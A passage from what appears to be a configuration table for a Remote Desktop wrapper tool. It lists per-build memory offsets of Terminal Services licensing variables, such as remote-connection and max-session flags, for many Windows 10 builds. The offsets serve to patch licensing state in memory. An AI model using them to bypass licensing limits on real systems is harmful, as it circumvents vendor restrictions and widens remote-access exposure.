lMaxUserSessions.x64  =F23B0
bAppServerAllowed.x64 =F23B4
bServerSku.x64        =F23B8
bFUSEnabled.x64       =F3460
bInitialized.x64      =F3464
bMultimonAllowed.x64  =F3468
ulMaxDebugSessions.x64=F346C
bRemoteConnAllowed.x64=F3470
[10.0.11082.1000-SLInit]
bFUSEnabled.x86       =C3F60
lMaxUserSessions.x86  =C3F64
bAppServerAllowed.x86 =C3F68
bInitialized.x86      =C3F6C
bMultimonAllowed.x86  =C3F70
bServerSku.x86        =C3F74
ulMaxDebugSessions.x86=C3F78
bRemoteConnAllowed.x86=C3F7C
lMaxUserSessions.x64  =F23B0
bAppServerAllowed.x64 =F23B4
bServerSku.x64        =F23B8
bFUSEnabled.x64       =F3460
bInitialized.x64      =F3464
bMultimonAllowed.x64  =F3468
ulMaxDebugSessions.x64=F346C
bRemoteConnAllowed.x64=F3470
[10.0.11102.1000-SLInit]
bInitialized.x86      =C1F5C
bServerSku.x86        =C1F60
lMaxUserSessions.x86  =C1F64
bAppServerAllowed.x86 =C1F68
bRemoteConnAllowed.x86=C1F6C
bMultimonAllowed.x86  =C1F70
ulMaxDebugSessions.x86=C1F74
bFUSEnabled.x86       =C1F78
bInitialized.x64      =F2430
bRemoteConnAllowed.x64=F2434
bMultimonAllowed.x64  =F2438
ulMaxDebugSessions.x64=F243C
bFUSEnabled.x64       =F2440
bServerSku.x64        =F244C
lMaxUserSessions.x64  =F2450
bAppServerAllowed.x64 =F2454
[10.0.14251.1000-SLInit]
bInitialized.x86      =C1F5C
bServerSku.x86        =C1F60
lMaxUserSessions.x86  =C1F64
bAppServerAllowed.x86 =C1F68
bRemoteConnAllowed.x86=C1F6C
bMultimonAllowed.x86  =C1F70
ulMaxDebugSessions.x86=C1F74
bFUSEnabled.x86       =C1F78
bInitialized.x64      =F2430
bRemoteConnAllowed.x64=F2434
bMultimonAllowed.x64  =F2438
ulMaxDebugSessions.x64=F243C
bFUSEnabled.x64       =F2440
bServerSku.x64        =F244C
lMaxUserSessions.x64  =F2450
bAppServerAllowed.x64 =F2454
[10.0.14271.1000-SLInit]
bInitialized.x86      =C0F5C
bServerSku.x86        =C0F60
lMaxUserSessions.x86  =C0F64
bAppServerAllowed.x86 =C0F68
bRemoteConnAllowed.x86=C0F6C
bMultimonAllowed.x86  =C0F70
ulMaxDebugSessions.x86=C0F74
bFUSEnabled.x86       =C0F78
bServerSku.x64        =EF3C0
lMaxUserSessions.x64  =EF3C4
bAppServerAllowed.x64 =EF3C8
bInitialized.x64      =F0460
bRemoteConnAllowed.x64=F0464
bMultimonAllowed.x64  =F0468
ulMaxDebugSessions.x64=F046C
bFUSEnabled.x64       =F0470
[10.0.14279.1000-SLInit]
bInitialized.x86      =C0F5C
bServerSku.x86        =C0F60
lMaxUserSessions.x86  =C0F64
bAppServerAllowed.x86 =C0F68
bRemoteConnAllowed.x86=C0F6C
bMultimonAllowed.x86  =C0F70
ulMaxDebugSessions.x86=C0F74
bFUSEnabled.x86       =C0F78
bServerSku.x64        =EF3C0
lMaxUserSessions.x64  =EF3C4
bAppServerAllowed.x64 =EF3C8
bInitialized.x64      =F0460
bRemoteConnAllowed.x64=F0464
bMultimonAllowed.x64  =F0468
ulMaxDebugSessions.x64=F046C
bFUSEnabled.x64       =F0470
[10.0.14295.1000-SLInit]
bInitialized.x86      =C0F5C
bServerSku.x86        =C0F60
lMaxUserSessions.x86  =C0F64
bAppServerAllowed.x86 =C0F68
bRemoteConnAllowed.x86=C0F6C
bMultimonAllowed.x86  =C0F70
ulMaxDebugSessions.x86=C0F74
bFUSEnabled.x86       =C0F78
bServerSku.x64        =E73C0
lMaxUserSessions.x64  =E73C4
bAppServerAllowed.x64 =E73C8
bInitialized.x64      =E8460
bRemoteConnAllowed.x64=E8464
bMultimonAllowed.x64  =E8468
ulMaxDebugSessions.x64=E846C
bFUSEnabled.x64       =E8470
[10.0.14300.1000-SLInit]
bServerSku.x64        =E93C0
lMaxUserSessions.x64  =E93C4
bAppServerAllowed.x64 =E93C8
bInitialized.x64      =EA460
bRemoteConnAllowed.x64=EA464
bMultimonAllowed.x64  =EA468
ulMaxDebugSessions.x64=EA46C
bFUSEnabled.x64       =EA470
[10.0.14316.1000-SLInit]
bInitialized.x86      =C4F58
bServerSku.x86        =C4F5C
lMaxUserSessions.x86  =C4F60
bAppServerAllowed.x86 =C4F64
bRemoteConnAllowed.x86=C4F68
bMultimonAllowed.x86  =C4F6C
ulMaxDebugSessions.x86=C4F70
bFUSEnabled.x86       =C4F74
bServerSku.x64        =E93C0
lMaxUserSessions.x64  =E93C4
bAppServerAllowed.x64 =E93C8
bInitialized.x64      =EA460
bRemoteConnAllowed.x64=EA464
bMultimonAllowed.x64  =EA468
ulMaxDebugSessions.x64=EA46C
bFUSEnabled.x64       =EA470
[10.0.14328.1000-SLInit]
bInitialized.x86      =C4F58
bServerSku.x86        =C4F5C
lMaxUserSessions.x86  =C4F60
bAppServerAllowed.x86 =C4F64
bRemoteConnAllowed.x86=C4F68
bMultimonAllowed.x86  =C4F6C
ulMaxDebugSessions.x86=C4F70
bFUSEnabled.x86       =C4F74
bServerSku.x64        =E93C0
lMaxUserSessions.x64  =E93C4
bAppServerAllowed.x64 =E93C8
bInitialized.x64      =EA460
bRemoteConnAllowed.x64=EA464
bMultimonAllowed.x64  =EA468
ulMaxDebugSessions.x64=EA46C
bFUSEnabled.x64       =EA470
[10.0.14332.1001-SLInit]
bInitialized.x86      =C4F58
bServerSku.x86        =C4F5C
lMaxUserSessions.x86  =C4F60
bAppServerAllowed.x86 =C4F64
bRemoteConnAllowed.x86=C4F68
bMultimonAllowed.x86  =C4F6C
ulMaxDebugSessions.x86=C4F70
bFUSEnabled.x86       =C4F74
bServerSku.x64        =E93C0
lMaxUserSessions.x64  =E93C4
bAppServerAllowed.x64 =E93C8
bInitialized.x64      =EA460
bRemoteConnAllowed.x64=EA464
bMultimonAllowed.x64  =EA468
ulMaxDebugSessions.x64=EA46C
bFUSEnabled.x64       =EA470
[10.0.14342.1000-SLInit]
bInitialized.x86      =C4F58
bServerSku.x86        =C4F5C
lMaxUserSessions.x86  =C4F60
bAppServerAllowed.x86 =C4F64
bRemoteConnAllowed.x86=C4F68
bMultimonAllowed.x86  =C4F6C
ulMaxDebugSessions.x86=C4F70
bFUSEnabled.x86       =C4F74
bInitialized.x64      =E9430
bRemoteConnAllowed.x64=E9434
bMultimonAllowed.x64  =E9438
ulMaxDebugSessions.x64=E943C
bFUSEnabled.x64       =E9440
bServerSku.x64        =E944C
lMaxUserSessions.x64  =E9450
bAppServerAllowed.x64 =E9454
[10.0.14352.1002-SLInit]
bInitialized.x86      =C0F5C
bServerSku.x86        =C0F60
lMaxUserSessions.x86  =C0F64
bAppServerAllowed.x86 =C0F68
bRemoteConnAllowed.x86=C0F6C
bMultimonAllowed.x86  =C0F70
ulMaxDebugSessions.x86=C0F74
bFUSEnabled.x86       =C0F78
bServerSku.x64        =E73C0
lMaxUserSessions.x64  =E73C4
bAppServerAllowed.x64 =E73C8
bInitialized.x64      =E8460
bRemoteConnAllowed.x64=E8464
bMultimonAllowed.x64  =E8468
ulMaxDebugSessions.x64=E846C
bFUSEnabled.x64       =E8470
[10.0.14366.0-SLInit]
bInitialized.x86      =C4F68
bServerSku.x86        =C4F6C
lMaxUserSessions.x86  =C4F70
bAppServerAllowed.x86 =C4F74
bRemoteConnAllowed.x86=C4F78
bMultimonAllowed.x86  =C4F7C
ulMaxDebugSessions.x86=C4F80
bFUSEnabled.x86       =C4F84
bServerSku.x64        =E93E0
lMaxUserSessions.x64  =E93E4
bAppServerAllowed.x64 =E93E8
bInitialized.x64      =EA480
bRemoteConnAllowed.x64=EA484
bMultimonAllowed.x64  =EA488
ulMaxDebugSessions.x64=EA48C
bFUSEnabled.x64       =EA490
[10.0.14367.0-SLInit]
bInitialized.x86      =C4F68
bServerSku.x86        =C4F6C
lMaxUserSessions.x86  =C4F70
bAppServerAllowed.x86 =C4F74
bRemoteConnAllowed.x86=C4F78
bMultimonAllowed.x86  =C4F7C
ulMaxDebugSessions.x86=C4F80
bFUSEnabled.x86       =C4F84
bServerSku.x64        =E93E0
lMaxUserSessions.x64  =E93E4
bAppServerAllowed.x64 =E93E8
bInitialized.x64      =EA480
bRemoteConnAllowed.x64=EA484
bMultimonAllowed.x64  =EA488
ulMaxDebugSessions.x64=EA48C
bFUSEnabled.x64       =EA490
[10.0.14372.0-SLInit]
bInitialized.x86      =C3F68
bServerSku.x86        =C3F6C
lMaxUserSessions.x86  =C3F70
bAppServerAllowed.x86 =C3F74
bRemoteConnAllowed.x86=C3F78
bMultimonAllowed.x86  =C3F7C
ulMaxDebugSessions.x86=C3F80
bFUSEnabled.x86       =C3F84
bInitialized.x64      =EA460
bRemoteConnAllowed.x64=EA464
bMultimonAllowed.x64  =EA468
ulMaxDebugSessions.x64=EA46C
bFUSEnabled.x64       =EA470
bServerSku.x64        =EA47C
lMaxUserSessions.x64  =EA480
bAppServerAllowed.x64 =EA484
[10.0.14379.0-SLInit]
bInitialized.x86      =C3F68
bServerSku.x86        =C3F6C
lMaxUserSessions.x86  =C3F70
bAppServerAllowed.x86 =C3F74
bRemoteConnAllowed.x86=C3F78
bMultimonAllowed.x86  =C3F7C
ulMaxDebugSessions.x86=C3F80
bFUSEnabled.x86       =C3F84
bInitialized.x64      =EA460
bRemoteConnAllowed.x64=EA464
bMultimonAllowed.x64  =EA468
ulMaxDebugSessions.x64=EA46C
bFUSEnabled.x64       =EA470
bServerSku.x64        =EA47C
lMaxUserSessions.x64  =EA480
bAppServerAllowed.x64 =EA484
[10.0.14383.0-SLInit]
bInitialized.x86      =C3F68
bServerSku.x86        =C3F6C
lMaxUserSessions.x86  =C3F70
bAppServerAllowed.x86 =C3F74
bRemoteConnAllowed.x86=C3F78
bMultimonAllowed.x86  =C3F7C
ulMaxDebugSessions.x86=C3F80
bFUSEnabled.x86       =C3F84
bInitialized.x64      =EA460
bRemoteConnAllowed.x64=EA464
bMultimonAllowed.x64  =EA468
ulMaxDebugSessions.x64=EA46C
bFUSEnabled.x64       =EA470
bServerSku.x64        =EA47C
lMaxUserSessions.x64  =EA480
bAppServerAllowed.x64 =EA484
[10.0.14385.0-SLInit]
bInitialized.x86      =C3F68
bServerSku.x86        =C3F6C
lMaxUserSessions.x86  =C3F70
bAppServerAllowed.x86 =C3F74
bRemoteConnAllowed.x86=C3F78
bMultimonAllowed.x86  =C3F7C
ulMaxDebugSessions.x86=C3F80
bFUSEnabled.x86       =C3F84
bInitialized.x64      =EA460
bRemoteConnAllowed.x64=EA464
bMultimonAllowed.x64  =EA468
ulMaxDebugSessions.x64=EA46C
bFUSEnabled.x64       =EA470
bServerSku.x64        =EA47C
lMaxUserSessions.x64  =EA480
bAppServerAllowed.x64 =EA484
[10.0.14388.0-SLInit]
bInitialized.x86      =C1F6C
bServerSku.x86        =C1F70
lMaxUserSessions.x86  =C1F74
bAppServerAllowed.x86 =C1F78
bRemoteConnAllowed.x86=C1F7C
bMultimonAllowed.x86  =C1F80
ulMaxDebugSessions.x86=C1F84
bFUSEnabled.x86       =C1F88
bServerSku.x64        =E73D0
lMaxUserSessions.x64  =E73D4
bAppServerAllowed.x64 =E73D8
bInitialized.x64      =E8470
bRemoteConnAllowed.x64=E8474
bMultimonAllowed.x64  =E8478
ulMaxDebugSessions.x64=E847C
bFUSEnabled.x64       =E8480
[10.0.14393.0-SLInit]
bInitialized.x86      =C1F6C
bServerSku.x86        =C1F70
lMaxUserSessions.x86  =C1F74
bAppServerAllowed.x86 =C1F78
bRemoteConnAllowed.x86=C1F7C
bMultimonAllowed.x86  =C1F80
ulMaxDebugSessions.x86=C1F84
bFUSEnabled.x86       =C1F88
bServerSku.x64        =E73D0
lMaxUserSessions.x64  =E73D4
bAppServerAllowed.x64 =E73D8
bInitialized.x64      =E8470
bRemoteConnAllowed.x64=E8474
bMultimonAllowed.x64  =E8478
ulMaxDebugSessions.x64=E847C
bFUSEnabled.x64       =E8480
[10.0.14393.1198-SLInit]
bInitialized.x86      =C1F6C
bServerSku.x86        =C1F70
lMaxUserSessions.x86  =C1F74
bAppServerAllowed.x86 =C1F78
bRemoteConnAllowed.x86=C1F7C
bMultimonAllowed.x86  =C1F80
ulMaxDebugSessions.x86=C1F84
bFUSEnabled.x86       =C1F88
[10.0.14393.1737-SLInit]
bInitialized.x86      =C1F6C
bServerSku.x86        =C1F70
lMaxUserSessions.x86  =C1F74
bAppServerAllowed.x86 =C1F78
bRemoteConnAllowed.x86=C1F7C
bMultimonAllowed.x86  =C1F80
ulMaxDebugSessions.x86=C1F84
bFUSEnabled.x86       =C1F88
bServerSku.x64        =E73D0
lMaxUserSessions.x64  =E73D4
bAppServerAllowed.x64 =E73D8
bInitialized.x64      =E8470
bRemoteConnAllowed.x64=E8474
bMultimonAllowed.x64  =E8478
ulMaxDebugSessions.x64=E847C
bFUSEnabled.x64       =E8480
[10.0.14901.1000-SLInit]
bInitialized.x86      =C1F6C
bServerSku.x86        =C1F70
lMaxUserSessions.x86  =C1F74
bAppServerAllowed.x86 =C1F78
bRemoteConnAllowed.x86=C1F7C
bMultimonAllowed.x86  =C1F80
ulMaxDebugSessions.x86=C1F84
bFUSEnabled.x86       =C1F88
bServerSku.x64        =E73D0
lMaxUserSessions.x64  =E73D4
bAppServerAllowed.x64 =E73D8
bInitialized.x64      =E8470
bRemoteConnAllowed.x64=E8474
bMultimonAllowed.x64  =E8478
ulMaxDebugSessions.x64=E847C
bFUSEnabled.x64       =E8480
[10.0.14905.1000-SLInit]
bInitialized.x86      =C1F6C
bServerSku.x86        =C1F70
lMaxUserSessions.x86  =C1F74
bAppServerAllowed.x86 =C1F78
bRemoteConnAllowed.x86=C1F7C
bMultimonAllowed.x86  =C1F80
ulMaxDebugSessions.x86=C1F84
bFUSEnabled.x86       =C1F88
bServerSku.x64        =E73D0
lMaxUserSessions.x64  =E73D4
bAppServerAllowed.x64 =E73D8
bInitialized.x64      =E8470
bRemoteConnAllowed.x64=E8474
bMultimonAllowed.x64  =E8478
ulMaxDebugSessions.x64=E847C
bFUSEnabled.x64       =E8480
[10.0.14915.1000-SLInit]
bInitialized.x86      =C4F6C
bServerSku.x86        =C4F70
lMaxUserSessions.x86  =C4F74
bAppServerAllowed.x86 =C4F78
bRemoteConnAllowed.x86=C4F7C
bMultimonAllowed.x86  =C4F80
ulMaxDebugSessions.x86=C4F84
bFUSEnabled.x86       =C4F88
bServerSku.x64        =E93D0
lMaxUserSessions.x64  =E93D4
bAppServerAllowed.x64 =E93D8
bInitialized.x64      =EA470
bRemoteConnAllowed.x64=EA474
bMultimonAllowed.x64  =EA478
ulMaxDebugSessions.x64=EA47C
bFUSEnabled.x64       =EA480
[10.0.14926.1000-SLInit]
bInitialized.x86      =C4F6C
bServerSku.x86        =C4F70
lMaxUserSessions.x86  =C4F74
bAppServerAllowed.x86 =C4F78
bRemoteConnAllowed.x86=C4F7C
bMultimonAllowed.x86  =C4F80
ulMaxDebugSessions.x86=C4F84
bFUSEnabled.x86       =C4F88
bServerSku.x64        =E93D0
lMaxUserSessions.x64  =E93D4
bAppServerAllowed.x64 =E93D8
bInitialized.x64      =EA470
bRemoteConnAllowed.x64=EA474
bMultimonAllowed.x64  =EA478
ulMaxDebugSessions.x64=EA47C
bFUSEnabled.x64       =EA480
[10.0.14931.1000-SLInit]
bInitialized.x86      =C1F6C
bServerSku.x86        =C1F70
lMaxUserSessions.x86  =C1F74
bAppServerAllowed.x86 =C1F78
bRemoteConnAllowed.x86=C1F7C
bMultimonAllowed.x86  =C1F80
ulMaxDebugSessions.x86=C1F84
bFUSEnabled.x86       =C1F88
bServerSku.x64        =E63D0
lMaxUserSessions.x64  =E63D4
bAppServerAllowed.x64 =E63D8
bInitialized.x64      =E7470
bRemoteConnAllowed.x64=E7474
bMultimonAllowed.x64  =E7478
ulMaxDebugSessions.x64=E747C
bFUSEnabled.x64       =E7480
[10.0.14936.1000-SLInit]
bInitialized.x86      =C0F6C
bServerSku.x86        =C0F70
lMaxUserSessions.x86  =C0F74
bAppServerAllowed.x86 =C0F78
bRemoteConnAllowed.x86=C0F7C
bMultimonAllowed.x86  =C0F80
ulMaxDebugSessions.x86=C0F84
bFUSEnabled.x86       =C0F88
bInitialized.x64      =E8460
bRemoteConnAllowed.x64=E8464
bMultimonAllowed.x64  =E8468
ulMaxDebugSessions.x64=E846C
bFUSEnabled.x64       =E8470
bServerSku.x64        =E847C
lMaxUserSessions.x64  =E8480
bAppServerAllowed.x64 =E8484
[10.0.14942.1000-SLInit]
bInitialized.x86      =C0F6C
bServerSku.x86        =C0F70
lMaxUserSessions.x86  =C0F74
bAppServerAllowed.x86 =C0F78
bRemoteConnAllowed.x86=C0F7C
bMultimonAllowed.x86  =C0F80
ulMaxDebugSessions.x86=C0F84
bFUSEnabled.x86       =C0F88
bInitialized.x64      =EC460
bRemoteConnAllowed.x64=EC464
bMultimonAllowed.x64  =EC468
ulMaxDebugSessions.x64=EC46C
bFUSEnabled.x64       =EC470
bServerSku.x64        =EC47C
lMaxUserSessions.x64  =EC480
bAppServerAllowed.x64 =EC484
[10.0.14946.1000-SLInit]
bInitialized.x86      =C0F6C
bServerSku.x86        =C0F70
lMaxUserSessions.x86  =C0F74
bAppServerAllowed.x86 =C0F78
bRemoteConnAllowed.x86=C0F7C
bMultimonAllowed.x86  =C0F80
ulMaxDebugSessions.x86=C0F84
bFUSEnabled.x86       =C0F88
bInitialized.x64      =EC460
bRemoteConnAllowed.x64=EC464
bMultimonAllowed.x64  =EC468
ulMaxDebugSessions.x64=EC46C
bFUSEnabled.x64       =EC470
bServerSku.x64        =EC47C
lMaxUserSessions.x64  =EC480
bAppServerAllowed.x64 =EC484
[10.0.14951.1000-SLInit]
bInitialized.x86      =C5F68
bServerSku.x86        =C5F6C
lMaxUserSessions.x86  =C5F70
bAppServerAllowed.x86 =C5F74
bRemoteConnAllowed.x86=C5F78
bMultimonAllowed.x86  =C5F7C
ulMaxDebugSessions.x86=C5F80
bFUSEnabled.x86       =C5F84
bServerSku.x64        =EF3D0
lMaxUserSessions.x64  =EF3D4
bAppServerAllowed.x64 =EF3D8
bInitialized.x64      =F0470
bRemoteConnAllowed.x64=F0474
bMultimonAllowed.x64  =F0478
ulMaxDebugSessions.x64=F047C
bFUSEnabled.x64       =F0480
[10.0.14955.1000-SLInit]
bInitialized.x86      =C5F68
bServerSku.x86        =C5F6C
lMaxUserSessions.x86  =C5F70
bAppServerAllowed.x86 =C5F74
bRemoteConnAllowed.x86=C5F78
bMultimonAllowed.x86  =C5F7C
ulMaxDebugSessions.x86=C5F80
bFUSEnabled.x86       =C5F84
bServerSku.x64        =EF3D0
lMaxUserSessions.x64  =EF3D4
bAppServerAllowed.x64 =EF3D8
bInitialized.x64      =F0470
bRemoteConnAllowed.x64=F0474
bMultimonAllowed.x64  =F0478
ulMaxDebugSessions.x64=F047C
bFUSEnabled.x64       =F0480
[10.0.14959.1000-SLInit]
bInitialized.x86      =C4F68
bServerSku.x86        =C4F6C
lMaxUserSessions.x86  =C4F70
bAppServerAllowed.x86 =C4F74
bRemoteConnAllowed.x86=C4F78
bMultimonAllowed.x86  =C4F7C
ulMaxDebugSessions.x86=C4F80
bFUSEnabled.x86       =C4F84
bServerSku.x64        =EE3D0
lMaxUserSessions.x64  =EE3D4
bAppServerAllowed.x64 =EE3D8
bInitialized.x64      =EF470
bRemoteConnAllowed.x64=EF474
bMultimonAllowed.x64  =EF478
ulMaxDebugSessions.x64=EF47C
bFUSEnabled.x64       =EF480
[10.0.14965.1001-SLInit]
bInitialized.x86      =C5F68
bServerSku.x86        =C5F6C
lMaxUserSessions.x86  =C5F70
bAppServerAllowed.x86 =C5F74
bRemoteConnAllowed.x86=C5F78
bMultimonAllowed.x86  =C5F7C
ulMaxDebugSessions.x86=C5F80
bFUSEnabled.x86       =C5F84
bInitialized.x64      =EF460
bRemoteConnAllowed.x64=EF464
bMultimonAllowed.x64  =EF468
ulMaxDebugSessions.x64=EF46C
bFUSEnabled.x64       =EF470
bServerSku.x64        =EF47C
lMaxUserSessions.x64  =EF480
bAppServerAllowed.x64 =EF484
[10.0.14971.1000-SLInit]
bInitialized.x86      =C5F68
bServerSku.x86        =C5F6C
lMaxUserSessions.x86  =C5F70
bAppServerAllowed.x86 =C5F74
bRemoteConnAllowed.x86=C5F78
bMultimonAllowed.x86  =C5F7C
ulMaxDebugSessions.x86=C5F80
bFUSEnabled.x86       =C5F84
bServerSku.x64        =EE3C0
lMaxUserSessions.x64  =EE3C4
bAppServerAllowed.x64 =EE3C8
bInitialized.x64      =EE470
bRemoteConnAllowed.x64=EE474
bMultimonAllowed.x64  =EE478
ulMaxDebugSessions.x64=EE47C
bFUSEnabled.x64       =EE480
[10.0.14986.1000-SLInit]
bInitialized.x86      =C5F68
bServerSku.x86        =C5F6C
lMaxUserSessions.x86  =C5F70
bAppServerAllowed.x86 =C5F74
bRemoteConnAllowed.x86=C5F78
bMultimonAllowed.x86  =C5F7C
ulMaxDebugSessions.x86=C5F80
bFUSEnabled.x86       =C5F84
bServerSku.x64        =EE3C0
lMaxUserSessions.x64  =EE3C4
bAppServerAllowed.x64 =EE3C8
bInitialized.x64      =EE470
bRemoteConnAllowed.x64=EE474
bMultimonAllowed.x64  =EE478
ulMaxDebugSessions.x64=EE47C
bFUSEnabled.x64       =EE480
[10.0.14997.1001-SLInit]
bServerSku.x64        =F0408
lMaxUserSessions.x64  =F040C
bAppServerAllowed.x64 =F0410
bInitialized.x64      =F0480
bRemoteConnAllowed.x64=F0484
bMultimonAllowed.x64  =F0488
ulMaxDebugSessions.x64=F048C
bFUSEnabled.x64       =F0490
[10.0.15002.1001-SLInit]
bInitialized.x86      =C6F74
bServerSku.x86        =C6F78
lMaxUserSessions.x86  =C6F7C
bAppServerAllowed.x86 =C6F80
bRemoteConnAllowed.x86=C6F84
bMultimonAllowed.x86  =C6F88
ulMaxDebugSessions.x86=C6F8C
bFUSEnabled.x86       =C6F90
bServerSku.x64        =F0408
lMaxUserSessions.x64  =F040C
bAppServerAllowed.x64 =F0410
bInitialized.x64      =F0480
bRemoteConnAllowed.x64=F0484
bMultimonAllowed.x64  =F0488
ulMaxDebugSessions.x64=F048C
bFUSEnabled.x64       =F0490
[10.0.15007.1000-SLInit]
bInitialized.x86      =C6F74
bServerSku.x86        =C6F78
lMaxUserSessions.x86  =C6F7C
bAppServerAllowed.x86 =C6F80
bRemoteConnAllowed.x86=C6F84
bMultimonAllowed.x86  =C6F88
ulMaxDebugSessions.x86=C6F8C
bFUSEnabled.x86       =C6F90
bServerSku.x64        =F0408
lMaxUserSessions.x64  =F040C
bAppServerAllowed.x64 =F0410
bInitialized.x64      =F0480
bRemoteConnAllowed.x64=F0484
bMultimonAllowed.x64  =F0488
ulMaxDebugSessions.x64=F048C
bFUSEnabled.x64       =F0490
[10.0.15014.1000-SLInit]
bInitialized.x86      =C6F74
bServerSku.x86        =C6F78
lMaxUserSessions.x86  =C6F7C
bAppServerAllowed.x86 =C6F80
bRemoteConnAllowed.x86=C6F84
bMultimonAllowed.x86  =C6F88
ulMaxDebugSessions.x86=C6F8C
bFUSEnabled.x86       =C6F90
bServerSku.x64        =F0408
lMaxUserSessions.x64  =F040C
bAppServerAllowed.x64 =F0410
bInitialized.x64      =F0480
bRemoteConnAllowed.x64=F0484
bMultimonAllowed.x64  =F0488
ulMaxDebugSessions.x64=F048C
bFUSEnabled.x64       =F0490
[10.0.15019.1000-SLInit]
bInitialized.x86      =C5F68
bServerSku.x86        =C5F6C
lMaxUserSessions.x86  =C5F70
bAppServerAllowed.x86 =C5F74
bRemoteConnAllowed.x86=C5F78
bMultimonAllowed.x86  =C5F7C
ulMaxDebugSessions.x86=C5F80
bFUSEnabled.x86       =C5F84
bServerSku.x64        =ECBDC
lMaxUserSessions.x64  =ECBE0
bAppServerAllowed.x64 =ECBE4
bInitialized.x64      =F0490
bRemoteConnAllowed.x64=F0494
bMultimonAllowed.x64  =F0498
ulMaxDebugSessions.x64=F049C
bFUSEnabled.x64       =F04A0
[10.0.15025.1000-SLInit]
bServerSku.x64        =EE3E0
lMaxUserSessions.x64  =EE3E4
bAppServerAllowed.x64 =EE3E8
bInitialized.x64      =EF488
bRemoteConnAllowed.x64=EF48C
bMultimonAllowed.x64  =EF490
ulMaxDebugSessions.x64=EF494
bFUSEnabled.x64       =EF498
[10.0.15031.0-SLInit]
bInitialized.x86      =C2F6C
bServerSku.x86        =C2F70
lMaxUserSessions.x86  =C2F74
bAppServerAllowed.x86 =C2F78
bRemoteConnAllowed.x86=C2F7C
bMultimonAllowed.x86  =C2F80
ulMaxDebugSessions.x86=C2F84
bFUSEnabled.x86       =C2F88
bServerSku.x64        =E93E0
lMaxUserSessions.x64  =E93E4
bAppServerAllowed.x64 =E93E8
bInitialized.x64      =EA488
bRemoteConnAllowed.x64=EA48C
bMultimonAllowed.x64  =EA490
ulMaxDebugSessions.x64=EA494
bFUSEnabled.x64       =EA498
[10.0.15042.0-SLInit]
bInitialized.x86      =C2F6C
bServerSku.x86        =C2F70
lMaxUserSessions.x86  =C2F74
bAppServerAllowed.x86 =C2F78
bRemoteConnAllowed.x86=C2F7C
bMultimonAllowed.x86  =C2F80
ulMaxDebugSessions.x86=C2F84
bFUSEnabled.x86       =C2F88
bServerSku.x64        =E93E0
lMaxUserSessions.x64  =E93E4
bAppServerAllowed.x64 =E93E8
bInitialized.x64      =EA488
bRemoteConnAllowed.x64=EA48C
bMultimonAllowed.x64  =EA490
ulMaxDebugSessions.x64=EA494
bFUSEnabled.x64       =EA498
[10.0.15046.0-SLInit]
bInitialized.x86      =C4F18
bServerSku.x86        =C4F1C
lMaxUserSessions.x86  =C4F20
bAppServerAllowed.x86 =C4F24
bRemoteConnAllowed.x86=C4F28
ulMaxDebugSessions.x86=C4F2C
bMultimonAllowed.x86  =C5010
bFUSEnabled.x86       =C5014
bInitialized.x64      =EB468
bRemoteConnAllowed.x64=EB46C
bMultimonAllowed.x64  =EB470
ulMaxDebugSessions.x64=EB474
bFUSEnabled.x64       =EB478
bServerSku.x64        =EB484
lMaxUserSessions.x64  =EB488
bAppServerAllowed.x64 =EB48C
[10.0.15048.0-SLInit]
bInitialized.x86      =C4F18
bServerSku.x86        =C4F1C
lMaxUserSessions.x86  =C4F20
bAppServerAllowed.x86 =C4F24
bRemoteConnAllowed.x86=C4F28
ulMaxDebugSessions.x86=C4F2C
bMultimonAllowed.x86  =C5010
bFUSEnabled.x86       =C5014
bInitialized.x64      =EB468
bRemoteConnAllowed.x64=EB46C
bMultimonAllowed.x64  =EB470
ulMaxDebugSessions.x64=EB474
bFUSEnabled.x64       =EB478
bServerSku.x64        =EB484
lMaxUserSessions.x64  =EB488
bAppServerAllowed.x64 =EB48C
[10.0.15055.0-SLInit]
bInitialized.x86      =C2F70
bServerSku.x86        =C2F74
lMaxUserSessions.x86  =C2F78
bAppServerAllowed.x86 =C2F7C
bRemoteConnAllowed.x86=C2F80
bMultimonAllowed.x86  =C2F84
ulMaxDebugSessions.x86=C2F88
bFUSEnabled.x86       =C2F8C
bServerSku.x64        =E83D8
lMaxUserSessions.x64  =E83DC
bAppServerAllowed.x64 =E83E0
bInitialized.x64      =E9490
bRemoteConnAllowed.x64=E9494
bMultimonAllowed.x64  =E9498
ulMaxDebugSessions.x64=E949C
bFUSEnabled.x64       =E94A0
[10.0.15058.0-SLInit]
bInitialized.x86      =C2F70
bServerSku.x86        =C2F74
lMaxUserSessions.x86  =C2F78
bAppServerAllowed.x86 =C2F7C
bRemoteConnAllowed.x86=C2F80
bMultimonAllowed.x86  =C2F84
ulMaxDebugSessions.x86=C2F88
bFUSEnabled.x86       =C2F8C
bInitialized.x64      =E9468
bRemoteConnAllowed.x64=E946C
bMultimonAllowed.x64  =E9470
ulMaxDebugSessions.x64=E9474
bFUSEnabled.x64       =E9478
bServerSku.x64        =E9484
lMaxUserSessions.x64  =E9488
bAppServerAllowed.x64 =E948C
[10.0.15061.0-SLInit]
bInitialized.x86      =C2F70
bServerSku.x86        =C2F74
lMaxUserSessions.x86  =C2F78
bAppServerAllowed.x86 =C2F7C
bRemoteConnAllowed.x86=C2F80
bMultimonAllowed.x86  =C2F84
ulMaxDebugSessions.x86=C2F88
bFUSEnabled.x86       =C2F8C
bInitialized.x64      =E9468
bRemoteConnAllowed.x64=E946C
bMultimonAllowed.x64  =E9470
ulMaxDebugSessions.x64=E9474
bFUSEnabled.x64       =E9478
bServerSku.x64        =E9484
lMaxUserSessions.x64  =E9488
bAppServerAllowed.x64 =E948C
[10.0.15063.0-SLInit]
bInitialized.x86      =C2F70
bServerSku.x86        =C2F74
lMaxUserSessions.x86  =C2F78
bAppServerAllowed.x86 =C2F7C
bRemoteConnAllowed.x86=C2F80
bMultimonAllowed.x86  =C2F84
ulMaxDebugSessions.x86=C2F88
bFUSEnabled.x86       =C2F8C
bInitialized.x64      =E9468
bRemoteConnAllowed.x64=E946C
bMultimonAllowed.x64  =E9470
ulMaxDebugSessions.x64=E9474
bFUSEnabled.x64       =E9478
bServerSku.x64        =E9484
lMaxUserSessions.x64  =E9488
bAppServerAllowed.x64 =E948C
[10.0.15063.296-SLInit]
bInitialized.x86      =C2F70
bServerSku.x86        =C2F74
lMaxUserSessions.x86  =C2F78
bAppServerAllowed.x86 =C2F7C
bRemoteConnAllowed.x86=C2F80
bMultimonAllowed.x86  =C2F84
ulMaxDebugSessions.x86=C2F88
bFUSEnabled.x86       =C2F8C
bInitialized.x64      =E9468
bRemoteConnAllowed.x64=E946C
bMultimonAllowed.x64  =E9470
ulMaxDebugSessions.x64=E9474
bFUSEnabled.x64       =E9478
